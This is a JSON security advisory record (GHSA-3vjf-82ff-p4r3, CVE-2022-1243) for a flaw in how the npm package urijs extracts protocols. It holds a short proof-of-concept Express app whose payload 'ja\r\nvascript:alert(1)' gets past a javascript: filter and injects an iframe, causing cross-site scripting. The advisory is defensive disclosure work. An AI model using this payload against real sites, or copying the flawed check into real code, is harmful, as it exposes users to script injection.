{"id":"GHSA-3vjf-82ff-p4r3","summary":"Incorrect protocol extraction via \\r, \\n and \\t characters","details":"\\r, \\n and \\t characters in user-input URLs can potentially lead to incorrect protocol extraction when using npm package urijs prior to version 1.19.11.\n\nThis can lead to XSS when the module is used to prevent passing in malicious javascript: links into HTML or Javascript (see following example):\n````\nconst parse = require('urijs')\nconst express = require('express')\nconst app = express()\nconst port = 3000\n\ninput = \"ja\\r\\nvascript:alert(1)\"\nurl = parse(input)\n\nconsole.log(url)\n\napp.get('/', (req, res) =\u003e {\n if (url.protocol !== \"javascript:\") {res.send(\"\u003ciframe src=\\'\" + input + \"\\'\u003eCLICK ME!\u003c/iframe\u003e\")}\n})\n\napp.listen(port, () =\u003e {\n console.log(`Example app listening on port ${port}`)\n})\n````","aliases":["CVE-2022-1243"],"modified":"2023-11-08T04:07:46.778160Z","published":"2022-04-06T00:01:31Z","database_specific":{"github_reviewed_at":"2022-04-07T15:45:58Z","nvd_published_at":"2022-04-05T15:15:00Z","cwe_ids":["CWE-20"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-1243"},{"type":"WEB","url":"https://github.com/medialize/uri.js/commit/b0c9796aa1a95a85f40924fb18b1e5da3dc8ffae"},{"type":"PACKAGE","url":"https://github.com/medialize/uri.js"},{"type":"WEB","url":"https://huntr.dev/bounties/8c5afc47-1553-4eba-a98e-024e4cc3dfb7"}],"affected":[{"package":{"name":"urijs","ecosystem":"npm","purl":"pkg:npm/urijs"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.19.11"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/04/GHSA-3vjf-82ff-p4r3/GHSA-3vjf-82ff-p4r3.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"}]}